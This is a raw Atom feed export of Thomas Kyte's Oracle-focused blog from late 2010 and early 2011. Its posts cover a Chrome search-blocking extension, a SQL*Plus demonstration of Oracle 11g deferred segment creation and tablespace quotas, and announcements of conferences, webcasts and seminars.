type='html'>If you use Chrome anyway.  If you haven't tried Chrome - give it a whirl, I was a diehard Firefox user until I tried out Chrome. &lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;There is an extension that can block sites on Google Search.  It is called the "&lt;a href="https://chrome.google.com/webstore/detail/nolijncfnkgaikbjbdaogikpmpbdcdef#"&gt;Personal Blocklist&lt;/a&gt;".  Within seconds of installing it - the annoying sites that use whatever technique they can to get to the top of a Google Search were blocked (by me, you just click on "block &lt;domain&gt;" in the search result and they disappear!)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;You can opt to show the blocked results at anytime - so if you wanted to see them - they are easily there, but hidden.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Very cool - very very cool.  There was at least one or two sites I blocked immediately - including the annoying ones that pretend to show answers but then want you to log in to read them (sometimes with a paywall).&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-617437692760094772?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/617437692760094772/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=617437692760094772' title='13 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/617437692760094772'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/617437692760094772'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2011/02/searching-on-google-just-got-lot-safer.html' title='Searching on Google just got a lot safer...'/><author><name>Thomas Kyte</name><uri>http://www.blogger.com/profile/16414894020465518692</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_IxinUpKAs5M/S_5YHppw_cI/AAAAAAAAAAM/pU6wdtJGoQM/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>13</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-1836128779810927222</id><published>2011-02-14T09:38:00.000-05:00</published><updated>2011-02-14T09:39:20.708-05:00</updated><title type='text'>But what is even worse...</title><content type='html'>Is that &lt;a href="http://thedailywtf.com/Articles/The-Marshal.aspx"&gt;they didn't use any bind variables&lt;/a&gt; :(&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-1836128779810927222?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/1836128779810927222/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=1836128779810927222' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/1836128779810927222'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/1836128779810927222'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2011/02/but-what-is-even-worse.html' title='But what is even worse...'/><author><name>Thomas Kyte</name><uri>http://www.blogger.com/profile/16414894020465518692</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_IxinUpKAs5M/S_5YHppw_cI/AAAAAAAAAAM/pU6wdtJGoQM/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-7526452988238567945</id><published>2011-02-14T09:09:00.003-05:00</published><updated>2011-02-14T09:24:05.469-05:00</updated><title type='text'>Deferred Segment Creation...</title><content type='html'>Something I learned new this morning...&lt;br /&gt;&lt;br /&gt;Oracle 11g introduced the new feature "deferred segment creation". In a nutshell - it is a new (default!) feature whereby when you create a new table - no segment is created, no initial extent is allocated, no storage is reserved.&lt;br /&gt;&lt;br /&gt;The design goal was to prevent hundreds or thousands of segments being created by a 3rd party application that only uses 100 of the tables it creates. Many 3rd party applications create every possible table they might use - only to use 100 of them given the feature set you use.&lt;br /&gt;&lt;br /&gt;So, the upside of this feature is that you save space, you don't clutter up your data dictionary. Sounds all good - but could there be downsides? Anytime the default way the database operates changes - there could be downsides.&lt;br /&gt;&lt;br /&gt;One 'obvious' side effect of deferred segment creation could be seen in an installation script that installs all of its tables, indexes, etc and then counts USER_SEGMENTS rows to ensure everything was installed. The count would not be ZERO instead of however many segments were created.&lt;br /&gt;&lt;br /&gt;Another one, one that I just became aware of this morning, is that you can now create a table in a tablespace which you have NO QUOTA on. In the past - you would expect this as the logical outcome of not having any quota on a tablespace:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;ops$tkyte%ORA10GR2&gt; create user a identified by a default tablespace users;&lt;br /&gt;User created.&lt;br /&gt;&lt;br /&gt;ops$tkyte%ORA10GR2&gt; grant create session, create table to a;&lt;br /&gt;Grant succeeded.&lt;br /&gt;&lt;br /&gt;ops$tkyte%ORA10GR2&gt; connect a/a&lt;br /&gt;Connected.&lt;br /&gt;&lt;br /&gt;a%ORA10GR2&gt; create table t ( x int primary key );&lt;br /&gt;create table t ( x int primary key )&lt;br /&gt;*&lt;br /&gt;ERROR at line 1:&lt;br /&gt;ORA-01950: no privileges on tablespace 'USERS'&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;However in 11g - you'll find this behavior instead:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;ops$tkyte%ORA11GR2&gt; create user a identified by a default tablespace users;&lt;br /&gt;User created.&lt;br /&gt;&lt;br /&gt;ops$tkyte%ORA11GR2&gt; grant create session, create table to a;&lt;br /&gt;Grant succeeded.&lt;br /&gt;&lt;br /&gt;ops$tkyte%ORA11GR2&gt; connect a/a&lt;br /&gt;Connected.&lt;br /&gt;&lt;br /&gt;a%ORA11GR2&gt; create table t ( x int primary key );&lt;br /&gt;Table created.&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;I just created a table in a tablespace I have no quota on - successfully. Or did I?&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;a%ORA11GR2&gt; insert into t values ( 1 );&lt;br /&gt;insert into t values ( 1 )&lt;br /&gt;*&lt;br /&gt;ERROR at line 1:&lt;br /&gt;ORA-01950: no privileges on tablespace 'USERS'&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Apparently - not really. The table created - but the segments cannot be created. The ORA-1950 is not an error you would be expecting on an INSERT - you might expect "unable to extend", but not an ORA-1950 in general.&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;You should note that you can change this default behavior - that is turn off deferred segment creation either&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;at the database level via your init/spfile&lt;/li&gt;&lt;li&gt;at the session level via "alter session set deferred_segment_creation = false;"&lt;/li&gt;&lt;li&gt;statement by statement via "create table t ( x int ) &lt;b&gt;segment creation immediate&lt;/b&gt;;"&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;if you like.  Things change over time... &lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-7526452988238567945?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/7526452988238567945/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=7526452988238567945' title='9 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/7526452988238567945'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/7526452988238567945'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2011/02/deferred-segment-creation.html' title='Deferred Segment Creation...'/><author><name>Thomas Kyte</name><uri>http://www.blogger.com/profile/16414894020465518692</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_IxinUpKAs5M/S_5YHppw_cI/AAAAAAAAAAM/pU6wdtJGoQM/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-6209742102385365046</id><published>2011-02-12T17:27:00.003-05:00</published><updated>2011-02-13T10:09:38.679-05:00</updated><title type='text'>Getting Started...</title><content type='html'>An oft asked question is: "how do I get started".  As in getting started in IT, in programming, in database development - whatever.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;You can check out some answers to that question from various opinion holders - including people such as Jonathan Lewis, Arup Nanda, myself and others in this months &lt;a href="http://bit.ly/gVNZsW"&gt;NoCOUG Journal&lt;/a&gt;.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;This months journal is "unique" and somewhat special to me.  See if you can guess why.  I'll make it interesting - if you can post a comment here stating why this months journal is special (to me) - &lt;b&gt;I'll send you an autographed copy of "Expert Oracle Database Architecture - 2nd edition".&lt;/b&gt;  You'll need to include some method of contacting you (suggest a disposable email address if you don't want to post your real one).   &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The NoCOUG Journal team is of course not invited to this little contest as they already know the answer :)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;i&gt;UPDATED:  Congratulations to Dave K. for correctly pointing out that my son Alan took the picture that is the cover of the journal this month!  &lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-6209742102385365046?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/6209742102385365046/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=6209742102385365046' title='16 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/6209742102385365046'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/6209742102385365046'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2011/02/getting-started.html' title='Getting Started...'/><author><name>Thomas Kyte</name><uri>http://www.blogger.com/profile/16414894020465518692</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_IxinUpKAs5M/S_5YHppw_cI/AAAAAAAAAAM/pU6wdtJGoQM/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>16</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-3719221391450394941</id><published>2011-02-08T15:26:00.003-05:00</published><updated>2011-02-09T07:25:07.912-05:00</updated><title type='text'>About Database Security...</title><content type='html'>I'll be doing a webcast on Thursday Feb. 24th at 9:30am (PST) regarding &lt;a href="http://event.on24.com/r.htm?e=280304&amp;amp;s=1&amp;amp;k=6A7152F62313CA09F77EBCEEA9B6294F&amp;amp;partnerref=blogtomkyte"&gt;"How Secure is your Enterprise Data?"&lt;/a&gt;.  It'll be just about 30 minutes long.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I won't be the only speaker - I'm on second at 9:30am (PST).  Anyone can "attend" (since it is virtual after all).&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Hope to "see" you there...&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-3719221391450394941?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/3719221391450394941/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=3719221391450394941' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/3719221391450394941'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/3719221391450394941'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2011/02/about-database-security.html' title='About Database Security...'/><author><name>Thomas Kyte</name><uri>http://www.blogger.com/profile/16414894020465518692</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_IxinUpKAs5M/S_5YHppw_cI/AAAAAAAAAAM/pU6wdtJGoQM/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-1209745064323963494</id><published>2011-02-04T06:34:00.002-05:00</published><updated>2011-02-04T06:37:19.022-05:00</updated><title type='text'>A short podcast...</title><content type='html'>We've just posted a&lt;a href="http://feedproxy.google.com/~r/OracleDatabaseInsider/~3/064NC5sJEm4/9824111_Performace_Day_020311.mp3"&gt; short podcast&lt;/a&gt; with more information about the Real World Performance days I'm participating in.  We are starting on the west coast of the US and will be presenting across the country over the next few months - eventually ending up in the UK.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;For more information or to sign up - goto &lt;a href="http://www.ioug.org/"&gt;http://www.ioug.org/&lt;/a&gt; and select Events -&gt; A day of Real World Performance from the menu.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Hope to see you there!&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-1209745064323963494?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/1209745064323963494/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=1209745064323963494' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/1209745064323963494'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/1209745064323963494'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2011/02/short-podcast.html' title='A short podcast...'/><author><name>Thomas Kyte</name><uri>http://www.blogger.com/profile/16414894020465518692</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_IxinUpKAs5M/S_5YHppw_cI/AAAAAAAAAAM/pU6wdtJGoQM/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-5656064765281466622</id><published>2011-01-27T17:03:00.001-05:00</published><updated>2011-01-27T17:04:14.561-05:00</updated><title type='text'>Looks right to me...</title><content type='html'>I found &lt;a href="http://geekandpoke.typepad.com/geekandpoke/2011/01/nosql.html"&gt;this amusing&lt;/a&gt;...  Not too far from the truth regarding how many resumes are put together ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-5656064765281466622?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/5656064765281466622/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=5656064765281466622' title='10 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/5656064765281466622'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/5656064765281466622'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2011/01/looks-right-to-me.html' title='Looks right to me...'/><author><name>Thomas Kyte</name><uri>http://www.blogger.com/profile/16414894020465518692</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_IxinUpKAs5M/S_5YHppw_cI/AAAAAAAAAAM/pU6wdtJGoQM/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>10</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-2707056423672006972</id><published>2011-01-26T17:54:00.004-05:00</published><updated>2011-01-26T18:00:47.893-05:00</updated><title type='text'>A Day of Real World Performance...</title><content type='html'>Coming soon to San Diego, Los Angeles, Seattle and Phoenix - &lt;i&gt;&lt;b&gt;A Day of Real World Performance&lt;/b&gt;&lt;/i&gt;.   I and two of my cohorts will be presenting day long seminars (all three of us, at the same time, on the same stage) in those four cities.  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;This is being done in conjunction with the &lt;a href="http://ioug.org/"&gt;IOUG&lt;/a&gt; - they are organizing the logistics, we are doing the talking.  It'll be $175USD for IOUG members and $225USD for non-members.  You get lunch with this so it is definitely worth it :)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;For information - goto &lt;a href="http://ioug.org/"&gt;http://ioug.org/&lt;/a&gt; and click on the Events menu and select "a day of real world performance"&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Hope to see you there!&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;&lt;div style="color: rgb(2, 46, 91); font-family: Arial, Helvetica, sans-serif; font-size: 28px; "&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0); font-family: Georgia, serif; font-size: 16px; "&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/span&gt;&lt;/div&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-2707056423672006972?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/2707056423672006972/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=2707056423672006972' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/2707056423672006972'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/2707056423672006972'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2011/01/day-of-real-world-performance.html' title='A Day of Real World Performance...'/><author><name>Thomas Kyte</name><uri>http://www.blogger.com/profile/16414894020465518692</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_IxinUpKAs5M/S_5YHppw_cI/AAAAAAAAAAM/pU6wdtJGoQM/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-2180959405971598253</id><published>2011-01-19T15:31:00.002-05:00</published><updated>2011-01-19T15:42:31.682-05:00</updated><title type='text'>A couple of road trips coming up in the US...</title><content type='html'>I did quite a bit of international travel last year - not that I ignored North America, but I definitely visited more user groups and conferences and customer events across the ocean than near to home.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;This year is starting off different.  I'll be in &lt;b&gt;Cincinnati, Vancouver, Seattle and Denver&lt;/b&gt; next week (see &lt;a href="http://asktom.oracle.com"&gt;http://asktom.oracle.com&lt;/a&gt; for the links to those events).  &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Right after that in February  - I'll be in &lt;b&gt;San Diego, Los Angeles, Seattle and Phoenix for an interesting IOUG set of events.&lt;/b&gt;  The URLs for those will be posted really soon - but mark the calendar for the week of Feb 21st for those.  The format is rather different from the norm - there will be three of us presenting simultaneously.  The cast will consist of Andrew Holdsworth (he runs our real world performance group), Graham Wood - the father of ASH and AWR in many respects and myself.  We don't always agree (which makes it more interesting) on the nitty gritty details - but as you'll see we are ready and willing to talk it out.  Once we've done these first four - we'll have more in the making in the other parts of the US - working the west coast first but will be doing the entire country (that is the plan).  I'll keep you updated on that.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;In March - &lt;b&gt;I hit Dallas for the annual &lt;a href="http://www.hotsos.com/sym11.html"&gt;Hotsos Symposium&lt;/a&gt;.&lt;/b&gt;  This is a conference I always try to make (only missed one of them!) and the &lt;a href="http://www.hotsos.com/sym11/sym_speakers.html"&gt;list of speakers and topics&lt;/a&gt; this year looks awesome.  It is definitely something to check out - the training day to be given by Karen Morton is sure to be a really good add on as well if you can stay the full four days.  I've found the training days to be something well worth considering attending.  To get a full day from someone rather than just session after session with different speakers puts things in a different perspective.  In a day someone can deliver content that just isn't possible in a single session environment.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-2180959405971598253?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/2180959405971598253/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=2180959405971598253' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/2180959405971598253'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/2180959405971598253'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2011/01/couple-of-road-trips-coming-up-in-us.html' title='A couple of road trips coming up in the US...'/><author><name>Thomas Kyte</name><uri>http://www.blogger.com/profile/16414894020465518692</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_IxinUpKAs5M/S_5YHppw_cI/AAAAAAAAAAM/pU6wdtJGoQM/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-7761134659420173609</id><published>2010-12-16T22:31:00.002-05:00</published><updated>2010-12-16T22:38:58.453-05:00</updated><title type='text'>The end of an era...</title><content type='html'>Before google - there was &lt;a href="http://online.wsj.com/article/SB10001424052748703395204576024024258782758.html"&gt;altavista&lt;/a&gt;. And now altavista, originally of DEC, is finally shutting down.  I remember it well - the origins of &lt;a href="http://babelfish.yahoo.com/"&gt;babelfish&lt;/a&gt; and the best search engine of its time.  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Things have certainly changed in the last 15 years or so.  I can still remember getting to the "end" of Yahoo - back when it was small enough to do that.  It was before yahoo got &lt;a href="http://web.archive.org/web/19961017235908/http://www2.yahoo.com/"&gt;this&lt;/a&gt; big - back when it was a directory and not a "portal" (before "portal" was part of our common nomenclature).  Back when the Yahoo random link was the "stumbleupon" of its time.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Clicking through that old set of yahoo pages can be interesting - the &lt;a href="http://web.archive.org/web/20021112093947/images.yahoo.com/adv/rockwell/5998_devour.gif"&gt;early ads&lt;/a&gt; are still there - "devour the web in almost half the time" - "Rockwell k56flex is here".  I remember my first 56kbs modem - it was amazing in its time :)  And it was a Rockwell.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-7761134659420173609?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/7761134659420173609/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=7761134659420173609' title='14 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/7761134659420173609'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/7761134659420173609'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2010/12/end-of-era.html' title='The end of an era...'/><author><name>Thomas Kyte</name><uri>http://www.blogger.com/profile/16414894020465518692</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_IxinUpKAs5M/S_5YHppw_cI/AAAAAAAAAAM/pU6wdtJGoQM/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>14</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-6002148153463044772</id><published>2010-12-16T09:48:00.001-05:00</published><updated>2010-12-16T09:48:44.081-05:00</updated><title type='text'>Well said...</title><content type='html'>I have nothing to add &lt;a href="http://database-programmer.blogspot.com/2010/12/historical-perspective-of-orm-and.html"&gt;to this&lt;/a&gt;...&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Well said.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-6002148153463044772?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/6002148153463044772/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=6002148153463044772' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/6002148153463044772'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/6002148153463044772'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2010/12/well-said.html' title='Well said...'/><author><name>Thomas Kyte</name><uri>http://www.blogger.com/profile/16414894020465518692</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_IxinUpKAs5M/S_5YHppw_cI/AAAAAAAAAAM/pU6wdtJGoQM/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-7103975074752657744</id><published>2010-12-10T15:46:00.001-05:00</published><updated>2010-12-10T15:48:00.120-05:00</updated><title type='text'>A tiny challenge...</title><content type='html'>Check out this &lt;a href="https://asktom.oracle.com/pls/asktom/f?p=100:11:0::::P11_QUESTION_ID:2791383200346512254#2792576300346769639"&gt;asktom post&lt;/a&gt; and see if you can answer "why that probably won't ora-1555".&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-7103975074752657744?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' 